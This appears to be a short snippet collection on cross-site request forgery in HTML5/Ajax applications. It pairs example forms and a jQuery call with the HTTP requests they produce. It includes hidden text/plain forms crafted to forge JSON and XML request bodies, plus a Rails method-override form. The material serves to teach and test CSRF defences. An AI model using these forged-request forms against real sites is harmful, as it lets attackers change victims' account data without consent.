CSRF in HTML5/Ajax web application

form.html

<form action="/change-my-email" method="POST">
  <input type="text" name="email" value="john@domain.com"/>
  <input type="submit" value="test"/>
</form>

form.http

POST /change-my-email HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded

email=john%40domain.com

jquery-ajax.js

$.ajax({
  type: "POST",
  url: "/change-my-email",
  data: { email: "john@domain.com" }
}).done(function( msg ) {
    console.log( "Data Saved: " + msg );
  });

jquery.http

POST /change-my-email HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

email=john%40domain.com

json-post-body.html

<form enctype="text/plain" action="/doit" method="post">
  <input type="hidden" name='{"ignoreMe":"' value='", "email":"john@domain.com"}'>
  <input type="submit" value="test"/>
</form>

json.http

POST /doit HTTP/1.1
Host: www.example.com
Content-Type: text/plain

{"ignoreMe":"=", "email":"john@domain.com"}

rails.html

<form action="/news/1" method="post">
  <input name="_method" type="hidden" value="put" />
</form>

xml-post-body.html

<form enctype="text/plain" action="/doit" method="post">
  <input type="hidden" name='<?xml version' value='"1.0"?><mySoapBody>isHere</mySoapBody>'>
  <input type="submit" value="test"/>
</form>

xml.http

POST /doit HTTP/1.1
Host: www.example.com
Content-Type: text/plain

<?xml version="1.0"?><mySoapBody>isHere</mySoapBody>